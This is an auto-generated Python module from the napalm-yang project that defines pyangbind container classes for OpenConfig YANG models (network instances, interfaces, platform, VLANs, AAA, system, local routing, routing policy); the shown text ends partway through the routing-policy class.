[ "Apache-2.0" ]

null

napalm_yang/models/openconfig/__init__.py

lumina-networks-oss/napalm-yang

5f9ca183f1496f0701cb09d0008fb5fb1f0f3a09

[ "Apache-2.0" ]

null

napalm_yang/models/openconfig/__init__.py

lumina-networks-oss/napalm-yang

5f9ca183f1496f0701cb09d0008fb5fb1f0f3a09

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from operator import attrgetter from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListType from pyangbind.lib.yangtypes import YANGDynClass from pyangbind.lib.yangtypes import ReferenceType from pyangbind.lib.base import PybindBase from collections import OrderedDict from decimal import Decimal from bitarray import bitarray import six # PY3 support of some PY2 keywords (needs improved) if six.PY3: import builtins as __builtin__ long = int elif six.PY2: import __builtin__ from . import network_instances class openconfig_network_instance(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-network-instance - based on the path /openconfig-network-instance. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: An OpenConfig description of a network-instance. This may be a Layer 3 forwarding construct such as a virtual routing and forwarding (VRF) instance, or a Layer 2 instance such as a virtual switch instance (VSI). Mixed Layer 2 and Layer 3 instances are also supported. """ __slots__ = ("_path_helper", "_extmethods", "__network_instances") _yang_name = "openconfig-network-instance" _pybind_generated_by = "container" def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__network_instances = YANGDynClass( base=network_instances.network_instances, is_container="container", yang_name="network-instances", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/network-instance", defining_module="openconfig-network-instance", yang_type="container", is_config=True, ) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path() + [self._yang_name] else: return [] def _get_network_instances(self): """ Getter method for network_instances, mapped from YANG variable /network_instances (container) YANG Description: The L2, L3, or L2+L3 forwarding instances that are configured on the local system """ return self.__network_instances def _set_network_instances(self, v, load=False): """ Setter method for network_instances, mapped from YANG variable /network_instances (container) If this variable is read-only (config: false) in the source YANG file, then _set_network_instances is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_network_instances() directly. YANG Description: The L2, L3, or L2+L3 forwarding instances that are configured on the local system """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=network_instances.network_instances, is_container="container", yang_name="network-instances", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/network-instance", defining_module="openconfig-network-instance", yang_type="container", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """network_instances must be of a type compatible with container""", "defined-type": "container", "generated-type": """YANGDynClass(base=network_instances.network_instances, is_container='container', yang_name="network-instances", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='container', is_config=True)""", } ) self.__network_instances = t if hasattr(self, "_set"): self._set() def _unset_network_instances(self): self.__network_instances = YANGDynClass( base=network_instances.network_instances, is_container="container", yang_name="network-instances", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/network-instance", defining_module="openconfig-network-instance", yang_type="container", is_config=True, ) network_instances = __builtin__.property( _get_network_instances, _set_network_instances ) _pyangbind_elements = OrderedDict([("network_instances", network_instances)]) from . import network_instances class openconfig_network_instance_l2(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-network-instance-l2 - based on the path /openconfig-network-instance-l2. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module contains groupings which specifically relate to Layer 2 network instance configuration and operational state parameters. """ __slots__ = ("_path_helper", "_extmethods", "__network_instances") _yang_name = "openconfig-network-instance-l2" _pybind_generated_by = "container" def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__network_instances = YANGDynClass( base=network_instances.network_instances, is_container="container", yang_name="network-instances", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/network-instance", defining_module="openconfig-network-instance", yang_type="container", is_config=True, ) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path() + [self._yang_name] else: return [] def _get_network_instances(self): """ Getter method for network_instances, mapped from YANG variable /network_instances (container) YANG Description: The L2, L3, or L2+L3 forwarding instances that are configured on the local system """ return self.__network_instances def _set_network_instances(self, v, load=False): """ Setter method for network_instances, mapped from YANG variable /network_instances (container) If this variable is read-only (config: false) in the source YANG file, then _set_network_instances is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_network_instances() directly. YANG Description: The L2, L3, or L2+L3 forwarding instances that are configured on the local system """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=network_instances.network_instances, is_container="container", yang_name="network-instances", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/network-instance", defining_module="openconfig-network-instance", yang_type="container", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """network_instances must be of a type compatible with container""", "defined-type": "container", "generated-type": """YANGDynClass(base=network_instances.network_instances, is_container='container', yang_name="network-instances", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='container', is_config=True)""", } ) self.__network_instances = t if hasattr(self, "_set"): self._set() def _unset_network_instances(self): self.__network_instances = YANGDynClass( base=network_instances.network_instances, is_container="container", yang_name="network-instances", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/network-instance", defining_module="openconfig-network-instance", yang_type="container", is_config=True, ) network_instances = __builtin__.property( _get_network_instances, _set_network_instances ) _pyangbind_elements = OrderedDict([("network_instances", network_instances)]) class openconfig_if_aggregate(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-if-aggregate - based on the path /openconfig-if-aggregate. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Model for managing aggregated (aka bundle, LAG) interfaces. """ _pyangbind_elements = {} class openconfig_if_ethernet(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-if-ethernet - based on the path /openconfig-if-ethernet. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Model for managing Ethernet interfaces -- augments the IETF YANG model for interfaces described by RFC 7223 """ _pyangbind_elements = {} class openconfig_if_ip_ext(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-if-ip-ext - based on the path /openconfig-if-ip-ext. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module adds extensions to the base IP configuration and operational state model to support additional use cases. """ _pyangbind_elements = {} class openconfig_if_ip(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-if-ip - based on the path /openconfig-if-ip. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Model for managing IP interfaces. This model reuses most of the IETF YANG model for IP management described by RFC 7277. The primary differences are in the structure of configuration and state data. """ _pyangbind_elements = {} from . import interfaces class openconfig_interfaces(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-interfaces - based on the path /openconfig-interfaces. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Model for managing network interfaces and subinterfaces. This module also defines convenience types / groupings for other models to create references to interfaces: base-interface-ref (type) - reference to a base interface interface-ref (grouping) - container for reference to a interface + subinterface interface-ref-state (grouping) - container for read-only (opstate) reference to interface + subinterface This model reuses data items defined in the IETF YANG model for interfaces described by RFC 7223 with an alternate structure (particularly for operational state data) and and with additional configuration items. """ __slots__ = ("_path_helper", "_extmethods", "__interfaces") _yang_name = "openconfig-interfaces" _pybind_generated_by = "container" def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__interfaces = YANGDynClass( base=interfaces.interfaces, is_container="container", yang_name="interfaces", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/interfaces", defining_module="openconfig-interfaces", yang_type="container", is_config=True, ) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path() + [self._yang_name] else: return [] def _get_interfaces(self): """ Getter method for interfaces, mapped from YANG variable /interfaces (container) YANG Description: Top level container for interfaces, including configuration and state data. """ return self.__interfaces def _set_interfaces(self, v, load=False): """ Setter method for interfaces, mapped from YANG variable /interfaces (container) If this variable is read-only (config: false) in the source YANG file, then _set_interfaces is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_interfaces() directly. YANG Description: Top level container for interfaces, including configuration and state data. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=interfaces.interfaces, is_container="container", yang_name="interfaces", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/interfaces", defining_module="openconfig-interfaces", yang_type="container", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """interfaces must be of a type compatible with container""", "defined-type": "container", "generated-type": """YANGDynClass(base=interfaces.interfaces, is_container='container', yang_name="interfaces", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/interfaces', defining_module='openconfig-interfaces', yang_type='container', is_config=True)""", } ) self.__interfaces = t if hasattr(self, "_set"): self._set() def _unset_interfaces(self): self.__interfaces = YANGDynClass( base=interfaces.interfaces, is_container="container", yang_name="interfaces", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/interfaces", defining_module="openconfig-interfaces", yang_type="container", is_config=True, ) interfaces = __builtin__.property(_get_interfaces, _set_interfaces) _pyangbind_elements = OrderedDict([("interfaces", interfaces)]) class openconfig_platform_transceiver(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-platform-transceiver - based on the path /openconfig-platform-transceiver. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and operational state data for transceivers (i.e., pluggable optics). The module should be used in conjunction with the platform model where other physical entity data are represented. In the platform model, a component of type=TRANSCEIVER is expected to be a subcomponent of a PORT component. This module defines a concrete schema for the associated data for components with type=TRANSCEIVER. """ _pyangbind_elements = {} class openconfig_platform_types(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-platform-types - based on the path /openconfig-platform-types. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines data types (e.g., YANG identities) to support the OpenConfig component inventory model. """ _pyangbind_elements = {} from . import components class openconfig_platform(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-platform - based on the path /openconfig-platform. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines a data model for representing a system component inventory, which can include hardware or software elements arranged in an arbitrary structure. The primary relationship supported by the model is containment, e.g., components containing subcomponents. It is expected that this model reflects every field replacable unit on the device at a minimum (i.e., additional information may be supplied about non-replacable components). Every element in the inventory is termed a 'component' with each component expected to have a unique name and type, and optionally a unique system-assigned identifier and FRU number. The uniqueness is guaranteed by the system within the device. Components may have properties defined by the system that are modeled as a list of key-value pairs. These may or may not be user-configurable. The model provides a flag for the system to optionally indicate which properties are user configurable. Each component also has a list of 'subcomponents' which are references to other components. Appearance in a list of subcomponents indicates a containment relationship as described above. For example, a linecard component may have a list of references to port components that reside on the linecard. This schema is generic to allow devices to express their own platform-specific structure. It may be augmented by additional component type-specific schemas that provide a common structure for well-known component types. In these cases, the system is expected to populate the common component schema, and may optionally also represent the component and its properties in the generic structure. The properties for each component may include dynamic values, e.g., in the 'state' part of the schema. For example, a CPU component may report its utilization, temperature, or other physical properties. The intent is to capture all platform- specific physical data in one location, including inventory (presence or absence of a component) and state (physical attributes or status). """ __slots__ = ("_path_helper", "_extmethods", "__components") _yang_name = "openconfig-platform" _pybind_generated_by = "container" def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__components = YANGDynClass( base=components.components, is_container="container", yang_name="components", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/platform", defining_module="openconfig-platform", yang_type="container", is_config=True, ) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path() + [self._yang_name] else: return [] def _get_components(self): """ Getter method for components, mapped from YANG variable /components (container) YANG Description: Enclosing container for the components in the system. """ return self.__components def _set_components(self, v, load=False): """ Setter method for components, mapped from YANG variable /components (container) If this variable is read-only (config: false) in the source YANG file, then _set_components is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_components() directly. YANG Description: Enclosing container for the components in the system. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=components.components, is_container="container", yang_name="components", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/platform", defining_module="openconfig-platform", yang_type="container", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """components must be of a type compatible with container""", "defined-type": "container", "generated-type": """YANGDynClass(base=components.components, is_container='container', yang_name="components", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform', defining_module='openconfig-platform', yang_type='container', is_config=True)""", } ) self.__components = t if hasattr(self, "_set"): self._set() def _unset_components(self): self.__components = YANGDynClass( base=components.components, is_container="container", yang_name="components", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/platform", defining_module="openconfig-platform", yang_type="container", is_config=True, ) components = __builtin__.property(_get_components, _set_components) _pyangbind_elements = OrderedDict([("components", components)]) class openconfig_vlan_types(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-vlan-types - based on the path /openconfig-vlan-types. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and state variables for VLANs, in addition to VLAN parameters associated with interfaces """ _pyangbind_elements = {} from . import vlans class openconfig_vlan(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-vlan - based on the path /openconfig-vlan. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and state variables for VLANs, in addition to VLAN parameters associated with interfaces """ __slots__ = ("_path_helper", "_extmethods", "__vlans") _yang_name = "openconfig-vlan" _pybind_generated_by = "container" def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__vlans = YANGDynClass( base=vlans.vlans, is_container="container", yang_name="vlans", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/vlan", defining_module="openconfig-vlan", yang_type="container", is_config=True, ) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path() + [self._yang_name] else: return [] def _get_vlans(self): """ Getter method for vlans, mapped from YANG variable /vlans (container) YANG Description: Container for VLAN configuration and state variables """ return self.__vlans def _set_vlans(self, v, load=False): """ Setter method for vlans, mapped from YANG variable /vlans (container) If this variable is read-only (config: false) in the source YANG file, then _set_vlans is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vlans() directly. YANG Description: Container for VLAN configuration and state variables """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=vlans.vlans, is_container="container", yang_name="vlans", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/vlan", defining_module="openconfig-vlan", yang_type="container", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """vlans must be of a type compatible with container""", "defined-type": "container", "generated-type": """YANGDynClass(base=vlans.vlans, is_container='container', yang_name="vlans", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/vlan', defining_module='openconfig-vlan', yang_type='container', is_config=True)""", } ) self.__vlans = t if hasattr(self, "_set"): self._set() def _unset_vlans(self): self.__vlans = YANGDynClass( base=vlans.vlans, is_container="container", yang_name="vlans", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/vlan", defining_module="openconfig-vlan", yang_type="container", is_config=True, ) vlans = __builtin__.property(_get_vlans, _set_vlans) _pyangbind_elements = OrderedDict([("vlans", vlans)]) class openconfig_aaa_radius(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-aaa-radius - based on the path /openconfig-aaa-radius. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and operational state data related to the RADIUS protocol for authentication, authorization, and accounting. """ _pyangbind_elements = {} class openconfig_aaa_tacacs(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-aaa-tacacs - based on the path /openconfig-aaa-tacacs. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and operational state data related to the TACACS+ protocol for authentication, authorization, and accounting. """ _pyangbind_elements = {} class openconfig_aaa_types(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-aaa-types - based on the path /openconfig-aaa-types. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines shared types for data related to AAA (authentication, authorization, accounting). """ _pyangbind_elements = {} class openconfig_aaa(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-aaa - based on the path /openconfig-aaa. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and operational state data related to authorization, authentication, and accounting (AAA) management. Portions of this model reuse data definitions or structure from RFC 7317 - A YANG Data Model for System Management """ _pyangbind_elements = {} class openconfig_aaa_tacacs(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-aaa-tacacs - based on the path /openconfig-aaa-tacacs. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and operational state data related to the TACACS+ protocol for authentication, authorization, and accounting. """ _pyangbind_elements = {} class openconfig_aaa_radius(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-aaa-radius - based on the path /openconfig-aaa-radius. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and operational state data related to the RADIUS protocol for authentication, authorization, and accounting. """ _pyangbind_elements = {} class openconfig_procmon(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-procmon - based on the path /openconfig-procmon. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module provides data definitions for process health monitoring of one or more processes running on the system. """ _pyangbind_elements = {} class openconfig_system_logging(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-system-logging - based on the path /openconfig-system-logging. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and operational state data for common logging facilities on network systems. """ _pyangbind_elements = {} class openconfig_system_terminal(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-system-terminal - based on the path /openconfig-system-terminal. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines configuration and operational state data related to remote terminal services such as ssh and telnet. """ _pyangbind_elements = {} from . import system class openconfig_system(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-system - based on the path /openconfig-system. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Model for managing system-wide services and functions on network devices. This model leverages parts of the IETF system management model described in RFC 7317 - A YANG Data Model for System Management. """ __slots__ = ("_path_helper", "_extmethods", "__system") _yang_name = "openconfig-system" _pybind_generated_by = "container" def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__system = YANGDynClass( base=system.system, is_container="container", yang_name="system", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/system", defining_module="openconfig-system", yang_type="container", is_config=True, ) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path() + [self._yang_name] else: return [] def _get_system(self): """ Getter method for system, mapped from YANG variable /system (container) YANG Description: Enclosing container for system-related configuration and operational state data """ return self.__system def _set_system(self, v, load=False): """ Setter method for system, mapped from YANG variable /system (container) If this variable is read-only (config: false) in the source YANG file, then _set_system is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_system() directly. YANG Description: Enclosing container for system-related configuration and operational state data """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=system.system, is_container="container", yang_name="system", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/system", defining_module="openconfig-system", yang_type="container", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """system must be of a type compatible with container""", "defined-type": "container", "generated-type": """YANGDynClass(base=system.system, is_container='container', yang_name="system", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/system', defining_module='openconfig-system', yang_type='container', is_config=True)""", } ) self.__system = t if hasattr(self, "_set"): self._set() def _unset_system(self): self.__system = YANGDynClass( base=system.system, is_container="container", yang_name="system", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace="http://openconfig.net/yang/system", defining_module="openconfig-system", yang_type="container", is_config=True, ) system = __builtin__.property(_get_system, _set_system) _pyangbind_elements = OrderedDict([("system", system)]) class napalm_if_ip(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module napalm-if-ip - based on the path /napalm-if-ip. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines some augmentations to the interface's IP model of OC """ _pyangbind_elements = {} from . import local_routes class openconfig_local_routing(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-local-routing - based on the path /openconfig-local-routing. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module describes configuration and operational state data for routes that are locally generated, i.e., not created by dynamic routing protocols. These include static routes, locally created aggregate routes for reducing the number of constituent routes that must be advertised, summary routes for IGPs, etc. This model expresses locally generated routes as generically as possible, avoiding configuration of protocol-specific attributes at the time of route creation. This is primarily to avoid assumptions about how underlying router implementations handle route attributes in various routing table data structures they maintain. Hence, the definition of locally generated routes essentially creates 'bare' routes that do not have any protocol- specific attributes. When protocol-specific attributes must be attached to a route (e.g., communities on a locally defined route meant to be advertised via BGP), the attributes should be attached via a protocol-specific policy after importing the route into the protocol for distribution (again via routing policy). """ __slots__ = ('_path_helper', '_extmethods', '__local_routes',) _yang_name = 'openconfig-local-routing' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__local_routes = YANGDynClass(base=local_routes.local_routes, is_container='container', yang_name="local-routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/local-routing', defining_module='openconfig-local-routing', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [] def _get_local_routes(self): """ Getter method for local_routes, mapped from YANG variable /local_routes (container) YANG Description: Top-level container for local routes """ return self.__local_routes def _set_local_routes(self, v, load=False): """ Setter method for local_routes, mapped from YANG variable /local_routes (container) If this variable is read-only (config: false) in the source YANG file, then _set_local_routes is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_local_routes() directly. YANG Description: Top-level container for local routes """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=local_routes.local_routes, is_container='container', yang_name="local-routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/local-routing', defining_module='openconfig-local-routing', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """local_routes must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=local_routes.local_routes, is_container='container', yang_name="local-routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/local-routing', defining_module='openconfig-local-routing', yang_type='container', is_config=True)""", }) self.__local_routes = t if hasattr(self, '_set'): self._set() def _unset_local_routes(self): self.__local_routes = YANGDynClass(base=local_routes.local_routes, is_container='container', yang_name="local-routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/local-routing', defining_module='openconfig-local-routing', yang_type='container', is_config=True) local_routes = __builtin__.property(_get_local_routes, _set_local_routes) _pyangbind_elements = OrderedDict([('local_routes', local_routes), ]) class openconfig_policy_types(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-policy-types - based on the path /openconfig-policy-types. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module contains general data definitions for use in routing policy. It can be imported by modules that contain protocol- specific policy conditions and actions. """ _pyangbind_elements = {} from . import routing_policy class openconfig_routing_policy(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-routing-policy - based on the path /openconfig-routing-policy. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module describes a YANG model for routing policy configuration. It is a limited subset of all of the policy configuration parameters available in the variety of vendor implementations, but supports widely used constructs for managing how routes are imported, exported, and modified across different routing protocols. This module is intended to be used in conjunction with routing protocol configuration models (e.g., BGP) defined in other modules. Route policy expression: Policies are expressed as a set of top-level policy definitions, each of which consists of a sequence of policy statements. Policy statements consist of simple condition-action tuples. Conditions may include mutiple match or comparison operations, and similarly actions may be multitude of changes to route attributes or a final disposition of accepting or rejecting the route. Route policy evaluation: Policy definitions are referenced in routing protocol configurations using import and export configuration statements. The arguments are members of an ordered list of named policy definitions which comprise a policy chain, and optionally, an explicit default policy action (i.e., reject or accept). Evaluation of each policy definition proceeds by evaluating its corresponding individual policy statements in order. When a condition statement in a policy statement is satisfied, the corresponding action statement is executed. If the action statement has either accept-route or reject-route actions, policy evaluation of the current policy definition stops, and no further policy definitions in the chain are evaluated. If the condition is not satisfied, then evaluation proceeds to the next policy statement. If none of the policy statement conditions are satisfied, then evaluation of the current policy definition stops, and the next policy definition in the chain is evaluated. When the end of the policy chain is reached, the default route disposition action is performed (i.e., reject-route unless an an alternate default action is specified for the chain). Policy 'subroutines' (or nested policies) are supported by allowing policy statement conditions to reference another policy definition which applies conditions and actions from the referenced policy before returning to the calling policy statement and resuming evaluation. If the called policy results in an accept-route (either explicit or by default), then the subroutine returns an effective true value to the calling policy. Similarly, a reject-route action returns false. If the subroutine returns true, the calling policy continues to evaluate the remaining conditions (using a modified route if the subroutine performed any changes to the route). """ __slots__ = ('_path_helper', 